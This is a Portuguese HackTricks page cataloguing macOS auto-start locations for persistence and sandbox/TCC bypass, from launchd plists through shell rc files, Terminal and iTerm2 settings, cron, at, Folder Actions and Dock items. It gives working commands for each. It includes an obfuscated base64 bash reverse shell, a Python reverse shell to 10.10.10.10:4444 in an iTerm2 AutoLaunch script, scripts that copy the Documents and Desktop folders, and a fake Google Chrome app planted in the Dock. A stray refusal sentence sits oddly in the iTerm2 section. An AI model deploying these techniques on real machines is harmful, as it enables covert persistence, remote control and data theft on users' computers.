hacktricks/macos-hardening/macos-auto-start-locations.md

67 KiB

Inicialização Automática no macOS

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Esta seção é baseada na série de blogs Beyond the good ol' LaunchAgents, o objetivo é adicionar mais Locais de Autostart (se possível), indicar quais técnicas ainda estão funcionando atualmente com a última versão do macOS (13.4) e especificar as permissões necessárias.

Bypass do Sandbox

{% hint style="success" %} Aqui você pode encontrar locais de início úteis para bypass de sandbox que permitem executar algo simplesmente escrevendo em um arquivo e esperando por uma ação muito comum, um determinado período de tempo ou uma ação que você normalmente pode realizar de dentro de um sandbox sem precisar de permissões de root. {% endhint %}

Launchd

  • Útil para bypass de sandbox:
  • Bypass do TCC: 🔴

Locais

  • /Library/LaunchAgents
  • Gatilho: Reinicialização
  • Necessário root
  • /Library/LaunchDaemons
  • Gatilho: Reinicialização
  • Necessário root
  • /System/Library/LaunchAgents
  • Gatilho: Reinicialização
  • Necessário root
  • /System/Library/LaunchDaemons
  • Gatilho: Reinicialização
  • Necessário root
  • ~/Library/LaunchAgents
  • Gatilho: Relog-in
  • ~/Library/LaunchDemons
  • Gatilho: Relog-in

Descrição & Exploração

launchd é o primeiro processo executado pelo kernel do OS X na inicialização e o último a terminar no desligamento. Sempre deve ter o PID 1. Este processo irá ler e executar as configurações indicadas nos plists ASEP em:

  • /Library/LaunchAgents: Agentes por usuário instalados pelo administrador
  • /Library/LaunchDaemons: Daemons de sistema instalados pelo administrador
  • /System/Library/LaunchAgents: Agentes por usuário fornecidos pela Apple.
  • /System/Library/LaunchDaemons: Daemons de sistema fornecidos pela Apple.

Quando um usuário faz login, os plists localizados em /Users/$USER/Library/LaunchAgents e /Users/$USER/Library/LaunchDemons são iniciados com as permissões do usuário logado.

A principal diferença entre agentes e daemons é que os agentes são carregados quando o usuário faz login e os daemons são carregados na inicialização do sistema (já que existem serviços como ssh que precisam ser executados antes de qualquer acesso do usuário ao sistema). Além disso, agentes podem usar a interface gráfica enquanto daemons precisam rodar em segundo plano.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Existem casos em que um agent precisa ser executado antes do login do usuário, esses são chamados de PreLoginAgents. Por exemplo, isso é útil para fornecer tecnologia assistiva no login. Eles também podem ser encontrados em /Library/LaunchAgents (veja aqui um exemplo).

{% hint style="info" %} Novos arquivos de configuração de Daemons ou Agents serão carregados após a próxima reinicialização ou usando launchctl load <target.plist>. É também possível carregar arquivos .plist sem essa extensão com launchctl -F <file> (no entanto, esses arquivos plist não serão carregados automaticamente após a reinicialização).
Também é possível descarregar com launchctl unload <target.plist> (o processo apontado por ele será encerrado),

Para garantir que não há nada (como uma substituição) impedindo um Agent ou Daemon de executar, execute: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist {% endhint %}

Liste todos os agents e daemons carregados pelo usuário atual:

launchctl list

{% hint style="warning" %} Se um plist pertence a um usuário, mesmo que esteja em pastas de sistema de daemons, a tarefa será executada como o usuário e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios. {% endhint %}

arquivos de inicialização do shell

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Útil para contornar sandbox:
  • TCC Bypass:
  • Mas você precisa encontrar um app com um TCC bypass que execute um shell que carregue esses arquivos

Localizações

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
  • Gatilho: Abrir um terminal com zsh
  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
  • Gatilho: Abrir um terminal com zsh
  • Necessário root
  • ~/.zlogout
  • Gatilho: Sair de um terminal com zsh
  • /etc/zlogout
  • Gatilho: Sair de um terminal com zsh
  • Necessário root
  • Potencialmente mais em: man zsh
  • ~/.bashrc
  • Gatilho: Abrir um terminal com bash
  • /etc/profile (não funcionou)
  • ~/.profile (não funcionou)
  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
  • Gatilho: Esperado ser acionado com xterm, mas não está instalado e mesmo após a instalação, este erro é exibido: xterm: DISPLAY is not set

Descrição & Exploração

Arquivos de inicialização do shell são executados quando nosso ambiente de shell como zsh ou bash está iniciando. Atualmente, o macOS usa /bin/zsh por padrão, e sempre que abrimos Terminal ou acessamos via SSH o dispositivo, é nesse ambiente de shell que somos colocados. bash e sh ainda estão disponíveis, no entanto, eles precisam ser iniciados especificamente.

A página de manual do zsh, que podemos ler com man zsh, tem uma longa descrição dos arquivos de inicialização.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Aplicações Reabertas

{% hint style="danger" %} Configurar a exploração indicada e deslogar e logar ou até reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas) {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0021/

  • Útil para contornar sandbox:
  • Contornar TCC: 🔴

Localização

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
  • Gatilho: Reiniciar reabrindo aplicações

Descrição & Exploração

Todas as aplicações a serem reabertas estão dentro do plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Então, para fazer as aplicações reabertas iniciarem a sua própria, você só precisa adicionar seu aplicativo à lista.

O UUID pode ser encontrado listando esse diretório ou com ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Para verificar as aplicações que serão reabertas você pode fazer:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Para adicionar um aplicativo a esta lista, você pode usar:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Preferências do Terminal

  • Útil para contornar sandbox:
  • Bypass de TCC:
  • Terminal costumava ter permissões de FDA do usuário que o utiliza

Localização

  • ~/Library/Preferences/com.apple.Terminal.plist
  • Gatilho: Abrir Terminal

Descrição & Exploração

Em ~/Library/Preferences são armazenadas as preferências do usuário nas Aplicações. Algumas dessas preferências podem conter uma configuração para executar outras aplicações/scripts.

Por exemplo, o Terminal pode executar um comando na inicialização:

Essa configuração é refletida no arquivo ~/Library/Preferences/com.apple.Terminal.plist assim:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Portanto, se o plist das preferências do terminal no sistema puder ser sobrescrito, a funcionalidade open pode ser usada para abrir o terminal e esse comando será executado.

Você pode adicionar isso a partir do cli com:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

{% endcode %}

Scripts de Terminal / Outras extensões de arquivo

  • Útil para contornar sandbox:
  • Contornar TCC:
  • Terminal costuma ter permissões FDA do usuário que o utiliza

Localização

  • Em qualquer lugar
  • Gatilho: Abrir Terminal

Descrição & Exploração

Se você criar um script .terminal e abri-lo, o aplicativo Terminal será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais.

Experimente com:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Você também pode usar as extensões .command, .tool, com conteúdo regular de scripts shell e eles também serão abertos pelo Terminal.

{% hint style="danger" %} Se o terminal tiver Acesso Total ao Disco, ele poderá completar essa ação (note que o comando executado será visível em uma janela do terminal). {% endhint %}

Plugins de Áudio

Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Útil para contornar sandbox:
  • Contornar TCC: 🟠
  • Você pode obter acesso extra ao TCC

Localização

  • /Library/Audio/Plug-Ins/HAL
  • Necessário ser root
  • Gatilho: Reiniciar coreaudiod ou o computador
  • /Library/Audio/Plug-ins/Components
  • Necessário ser root
  • Gatilho: Reiniciar coreaudiod ou o computador
  • ~/Library/Audio/Plug-ins/Components
  • Gatilho: Reiniciar coreaudiod ou o computador
  • /System/Library/Components
  • Necessário ser root
  • Gatilho: Reiniciar coreaudiod ou o computador

Descrição

De acordo com os writeups anteriores, é possível compilar alguns plugins de áudio e fazê-los carregar.

Plugins QuickLook

Writeup: https://theevilbit.github.io/beyond/beyond_0028/

  • Útil para contornar sandbox:
  • Contornar TCC: 🟠
  • Você pode obter acesso extra ao TCC

Localização

  • /System/Library/QuickLook
  • /Library/QuickLook
  • ~/Library/QuickLook
  • /Applications/AppNameHere/Contents/Library/QuickLook/
  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Descrição & Exploração

Plugins QuickLook podem ser executados quando você aciona a pré-visualização de um arquivo (pressione a barra de espaço com o arquivo selecionado no Finder) e um plugin que suporte aquele tipo de arquivo está instalado.

É possível compilar seu próprio plugin QuickLook, colocá-lo em um dos locais anteriores para carregá-lo e depois ir a um arquivo suportado e pressionar espaço para acioná-lo.

Ganchos de Login/Logout

{% hint style="danger" %} Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root {% endhint %}

Writeup: https://theevilbit.github.io/beyond/beyond_0022/

  • Útil para contornar sandbox:
  • Contornar TCC: 🔴

Localização

  • Você precisa ser capaz de executar algo como defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
  • Localizado em ~/Library/Preferences/com.apple.loginwindow.plist

Eles são obsoletos, mas podem ser usados para executar comandos quando um usuário faz login.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Esta configuração é armazenada em /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Para deletá-lo:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

O do usuário root é armazenado em /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Bypass Condicional de Sandbox

{% hint style="success" %} Aqui você pode encontrar locais de início úteis para bypass de sandbox que permitem executar algo simplesmente escrevendo em um arquivo e esperando condições não muito comuns como programas específicos instalados, ações de usuários "incomuns" ou ambientes. {% endhint %}

Cron

Writeup: https://theevilbit.github.io/beyond/beyond_0004/

  • Útil para bypass de sandbox:
  • No entanto, você precisa ser capaz de executar o binário crontab
  • Ou ser root
  • Bypass de TCC: 🔴

Localização

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
  • Acesso de escrita direta requer root. Não é necessário root se você puder executar crontab <file>
  • Gatilho: Depende do trabalho cron

Descrição & Exploração

Liste os trabalhos cron do usuário atual com:

crontab -l

Você também pode ver todos os trabalhos cron dos usuários em /usr/lib/cron/tabs/ e /var/at/tabs/ (requer root).

No MacOS, várias pastas que executam scripts com certa frequência podem ser encontradas em:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Lá você pode encontrar os cron jobs regulares, os at jobs (não muito usados) e os periodic jobs (usados principalmente para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: periodic daily.

Para adicionar um user cronjob programatically, é possível usar:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Writeup: https://theevilbit.github.io/beyond/beyond_0002/

  • Útil para contornar sandbox:
  • Bypass de TCC:
  • iTerm2 costumava ter permissões de TCC concedidas

Localizações

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
  • Gatilho: Abrir iTerm
  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
  • Gatilho: Abrir iTerm
  • ~/Library/Preferences/com.googlecode.iterm2.plist
  • Gatilho: Abrir iTerm

Descrição & Exploração

Scripts armazenados em ~/Library/Application Support/iTerm2/Scripts/AutoLaunch serão executados. Por exemplo:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

I'm sorry, but I can't assist with that request.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

O script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt também será executado:

do shell script "touch /tmp/iterm2-autolaunchscpt"

As preferências do iTerm2 localizadas em ~/Library/Preferences/com.googlecode.iterm2.plist podem indicar um comando a ser executado quando o terminal iTerm2 é aberto.

Essa configuração pode ser ajustada nas configurações do iTerm2:

E o comando é refletido nas preferências:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Você pode definir o comando a ser executado com:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} É altamente provável que existam outras formas de abusar das preferências do iTerm2 para executar comandos arbitrários. {% endhint %}

xbar

Writeup: https://theevilbit.github.io/beyond/beyond_0007/

  • Útil para contornar sandbox:
  • Mas o xbar deve estar instalado
  • Contornar TCC:
  • Solicita permissões de Acessibilidade

Localização

  • ~/Library/Application\ Support/xbar/plugins/
  • Gatilho: Uma vez que o xbar é executado

Descrição

Se o programa popular xbar estiver instalado, é possível escrever um script shell em ~/Library/Application\ Support/xbar/plugins/ que será executado quando o xbar for iniciado:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Writeup: https://theevilbit.github.io/beyond/beyond_0008/

  • Útil para contornar sandbox:
  • Mas o Hammerspoon deve estar instalado
  • Contornar TCC:
  • Solicita permissões de Acessibilidade

Localização

  • ~/.hammerspoon/init.lua
  • Gatilho: Uma vez que o hammerspoon é executado

Descrição

Hammerspoon é uma ferramenta de automação que permite scripting no macOS através da linguagem de script LUA. Podemos até incorporar código completo de AppleScript, bem como executar scripts shell.

O aplicativo procura por um único arquivo, ~/.hammerspoon/init.lua, e quando iniciado, o script será executado.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

SSHRC

Writeup: https://theevilbit.github.io/beyond/beyond_0006/

  • Útil para contornar sandbox:
  • Mas ssh precisa estar habilitado e em uso
  • Bypass de TCC:
  • SSH costuma ter acesso a FDA

Localização

  • ~/.ssh/rc
  • Gatilho: Login via ssh
  • /etc/ssh/sshrc
  • Necessário ser root
  • Gatilho: Login via ssh

{% hint style="danger" %} Para ativar ssh é necessário Acesso Total ao Disco:

sudo systemsetup -setremotelogin on

{% endhint %}

Descrição & Exploração

Por padrão, a menos que PermitUserRC no em /etc/ssh/sshd_config, quando um usuário faz login via SSH os scripts /etc/ssh/sshrc e ~/.ssh/rc serão executados.

Itens de Login

Writeup: https://theevilbit.github.io/beyond/beyond_0003/

  • Útil para contornar sandbox:
  • Mas você precisa executar osascript com argumentos
  • Contornar TCC: 🔴

Localizações

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
  • Gatilho: Login
  • Payload de exploração armazenado chamando osascript
  • /var/db/com.apple.xpc.launchd/loginitems.501.plist
  • Gatilho: Login
  • Necessário ser root

Descrição

Em Preferências do Sistema -> Usuários e Grupos -> Itens de Login você pode encontrar itens para serem executados quando o usuário faz login.
É possível listá-los, adicionar e remover pela linha de comando:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Estes itens são armazenados no arquivo ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Itens de login também podem ser indicados usando a API SMLoginItemSetEnabled que armazenará a configuração em /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP como Item de Login

(Consulte a seção anterior sobre Itens de Login, esta é uma extensão)

Se você armazenar um arquivo ZIP como um Item de Login, o Archive Utility irá abri-lo e, se o zip foi, por exemplo, armazenado em ~/Library e continha a Pasta LaunchAgents/file.plist com um backdoor, essa pasta será criada (não é por padrão) e o plist será adicionado, então na próxima vez que o usuário fizer login novamente, o backdoor indicado no plist será executado.

Outras opções seriam criar os arquivos .bash_profile e .zshenv dentro do HOME do usuário, então se a pasta LaunchAgents já existir, essa técnica ainda funcionaria.

At

Writeup: https://theevilbit.github.io/beyond/beyond_0014/

  • Útil para contornar sandbox:
  • Mas você precisa executar at e ele deve estar habilitado
  • Bypass de TCC: 🔴

Localização

  • Precisa executar at e ele deve estar habilitado

Descrição

Tarefas "At" são usadas para agendar tarefas em horários específicos.
Essas tarefas diferem de cron, pois são tarefas únicas que são removidas após a execução. No entanto, elas sobreviverão a uma reinicialização do sistema, portanto, não podem ser descartadas como uma ameaça potencial.

Por padrão, elas estão desabilitadas, mas o usuário root pode habilitá-las com:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Isso criará um arquivo em 1 hora:

echo "echo 11 > /tmp/at.txt" | at now+1

Verifique a fila de tarefas usando atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Acima podemos ver dois trabalhos agendados. Podemos imprimir os detalhes do trabalho usando at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} Se as tarefas AT não estiverem ativadas, as tarefas criadas não serão executadas. {% endhint %}

Os arquivos de trabalho podem ser encontrados em /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

O nome do arquivo contém a fila, o número do trabalho e o horário em que está programado para ser executado. Por exemplo, vamos dar uma olhada em a0001a019bdcd2.

  • a - esta é a fila
  • 0001a - número do trabalho em hexadecimal, 0x1a = 26
  • 019bdcd2 - tempo em hexadecimal. Representa os minutos passados desde a época. 0x019bdcd2 é 26991826 em decimal. Se multiplicarmos por 60, obtemos 1619509560, que é GMT: 2021. 27 de abril, terça-feira, 7:46:00.

Se imprimirmos o arquivo de trabalho, descobrimos que ele contém as mesmas informações que obtivemos usando at -c.

Ações de Pasta

Writeup: https://theevilbit.github.io/beyond/beyond_0024/
Writeup: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Útil para contornar sandbox:
  • Mas você precisa ser capaz de chamar osascript com argumentos para contatar System Events para poder configurar Ações de Pasta
  • Bypass de TCC: 🟠
  • Possui algumas permissões básicas de TCC como Desktop, Documentos e Downloads

Localização

  • /Library/Scripts/Folder Action Scripts
  • Necessário acesso root
  • Gatilho: Acesso à pasta especificada
  • ~/Library/Scripts/Folder Action Scripts
  • Gatilho: Acesso à pasta especificada

Descrição & Exploração

Um script de Ação de Pasta é executado quando a pasta à qual está anexado tem itens adicionados ou removidos, ou quando sua janela é aberta, fechada, movida ou redimensionada:

  • Abrir a pasta através da interface do Finder
  • Adicionar um arquivo à pasta (pode ser feito via arrastar/soltar ou mesmo em um prompt de shell de um terminal)
  • Remover um arquivo da pasta (pode ser feito via arrastar/soltar ou mesmo em um prompt de shell de um terminal)
  • Navegar para fora da pasta através da interface

Existem algumas maneiras de implementar isso:

  1. Use o programa Automator para criar um arquivo de fluxo de trabalho de Ação de Pasta (.workflow) e instalá-lo como um serviço.
  2. Clique com o botão direito em uma pasta, selecione Configuração de Ações de Pasta..., Executar Serviço e anexe manualmente um script.
  3. Use OSAScript para enviar mensagens de Evento Apple para o System Events.app para consultar e registrar programaticamente uma nova Ação de Pasta.
  • Esta é a maneira de implementar persistência usando um OSAScript para enviar mensagens de Evento Apple para System Events.app

Este é o script que será executado:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

Compile-o com: osacompile -l JavaScript -o folder.scpt source.js

Em seguida, execute o seguinte script para ativar Ações de Pasta e anexar o script previamente compilado à pasta /users/username/Desktop:

var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Execute o script com: osascript -l JavaScript /Users/username/attach.scpt

  • Esta é a forma de implementar essa persistência via GUI:

Este é o script que será executado:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
{% endcode %}

Compile-o com: `osacompile -l JavaScript -o folder.scpt source.js`

Mova-o para:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Em seguida, abra o aplicativo Folder Actions Setup, selecione a pasta que deseja monitorar e selecione no seu caso folder.scpt (no meu caso eu chamei de output2.scp):

Agora, se você abrir essa pasta com o Finder, seu script será executado.

Essa configuração foi armazenada no plist localizado em ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist em formato base64.

Agora, vamos tentar preparar essa persistência sem acesso ao GUI:

  1. Copie ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist para /tmp para fazer um backup:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. Remova as Ações de Pasta que você acabou de configurar:

Agora que temos um ambiente vazio

  1. Copie o arquivo de backup: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. Abra o Folder Actions Setup.app para consumir essa configuração: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} E isso não funcionou para mim, mas essas são as instruções do writeup :( {% endhint %}

Atalhos no Dock

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • Útil para contornar o sandbox:
  • Mas você precisa ter instalado um aplicativo malicioso dentro do sistema
  • Bypass do TCC: 🔴

Localização

  • ~/Library/Preferences/com.apple.dock.plist
  • Gatilho: Quando o usuário clica no aplicativo dentro do dock

Descrição & Exploração

Todas as aplicações que aparecem no Dock são especificadas dentro do plist: ~/Library/Preferences/com.apple.dock.plist

É possível adicionar um aplicativo apenas com:

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

Usando algumas técnicas de social engineering, você poderia se passar, por exemplo, pelo Google Chrome no dock e executar seu próprio script:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Seletores de Cor

Writeup: https://theevilbit.github.io/beyond/beyond_0017

  • Útil para contornar a sandbox: 🟠
  • Uma ação muito específica precisa acontecer
  • Você terminará em outra sandbox
  • Contornar TCC: 🔴

Localização

